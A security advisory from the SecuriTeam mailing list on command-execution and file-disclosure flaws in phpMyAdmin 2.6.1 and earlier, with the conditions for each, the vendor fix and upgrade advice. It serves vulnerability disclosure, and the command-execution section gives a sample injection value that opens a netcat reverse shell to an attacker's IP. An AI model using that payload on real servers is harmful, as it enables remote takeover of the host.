The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Multiple Vulnerabilities in phpMyAdmin (External Transformations)
------------------------------------------------------------------------
SUMMARY
<http://www.phpmyadmin.net/home_page/> phpMyAdmin is "a tool written in
PHP intended to handle the administration of MySQL over the Web. Currently
it can create and drop databases, create/drop/alter tables,
delete/edit/add fields, execute any SQL statement, manage keys on fields,
manage privileges, export data into various formats and is available in 47
languages".
Two vulnerabilities in phpMyAdmin have been discovered, these
vulnerabilities allow command execution and disclosure of sensitive files.
DETAILS
Vulnerable Systems:
* phpMyAdmin version 2.6.1 and prior
Immune Systems:
* phpMyAdmin version 2.6.1-rc1
Technical details:
Command execution:
* Bug introduced in 2.6.0-pl2
* Attacker does *not* need access to the phpMyAdmin interface
* PHP safe mode must be off
* External transformations must be activated
* Sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A
File disclosure:
* Attacker need access to the phpMyAdmin interface
* PHP safe mode must be off
* $cfg['UploadDir'] must be defined
* Exploitation is done via 'sql_localfile'
Vendor Response:
After notification by Exaprobe, maintainers of the phpMyAdmin project have
released version 2.6.1-rc1 that fixes these two vulnerabilities.
Recommendation:
Upgrade to 2.6.1-rc1 or newer. Deactivate uploads and transformations if
possible.
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1147>
CAN-2004-1147
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1148>
CAN-2004-1148
ADDITIONAL INFORMATION
The information has been provided by <mailto:ngregoire@exaprobe.com>
Nicolas Gregoire.
The original article can be found at:
<http://www.exaprobe.com/labs/advisories/esa-2004-1213.html>
http://www.exaprobe.com/labs/advisories/esa-2004-1213.html
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
